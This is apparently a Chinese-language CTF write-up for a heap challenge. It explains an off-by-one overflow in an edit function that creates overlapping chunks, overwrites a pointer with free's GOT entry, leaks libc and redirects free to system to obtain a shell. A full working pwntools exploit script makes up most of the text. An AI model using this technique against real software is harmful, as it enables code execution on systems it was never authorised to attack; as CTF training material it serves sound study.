漏洞点

image-20240228231215748

漏洞点在edit函数中,是off-by-one。没有UAF

攻击思路

利用off-by-one溢出,将size增大,然后free掉,再申请的话,就是申请比之前大的堆块,这样就能做到向后overlapping,堆块重合。

1
2
3
4
add(0x18,'a')
add(0x10,'a')
add(0x10,'a')
add(0x10,'/bin/sh\x00')

先存放’/bin/sh\x00’,方便后面利用system(‘/bin/sh\x00’)

image-20240228231715188

利用edit中的off-by-one修改chunk3的size位,将0x21修改为0x81

image-20240228231817823

如果将其free掉,那么这个堆块就会被放到0x80的fastbins中,造成了堆块向后扩展、重叠

image-20240228232014444

再将其malloc出来,就可以通过这个堆块溢出到后面0x20的堆块,将保存content的堆块的content指针替换为free的got表地址。那么原本对content堆块地址的操作都是对free的got表的操作。可以进行libc泄露,然后再将其替换为system。这样free函数实际上执行的就是system函数。

image-20240228232315407

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.buuoj.cn', 26335)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add(size,content):
rl("Your choice :")
sl('1')
rl("Size of Heap : ")
sl(str(size))
rl("Content of heap:")
sl(content)

def edit(index,content):
rl("Your choice :")
sl('2')
rl("Index :")
sl(str(index))
rl("Content of heap : ")
sl(content)
def show(index):
rl("Your choice :")
sl('3')
rl("Index :")
sl(str(index))
def delete(index):
rl("Your choice :")
sl('4')
rl("Index :")
sl(str(index))

# gdb.attach(p)
add(0x18,'a')
add(0x10,'a')
add(0x10,'a')
add(0x10,'/bin/sh\x00')
# pause()
payload = 'a'*0x18 + '\x81'
edit(0,payload)
# pause()
delete(1)
# pause()
free_got = elf.got['free']
add(0x70,p64(0)*3+p64(0x21)+p64(0x70)+p64(free_got))

show(1)
free_addr = l64()
libc_base = free_addr - libc.sym['free']

lg('libc_base',libc_base)

system = libc_base + libc.sym['system']
# pause()
edit(1,p64(system))

delete(3)

inter()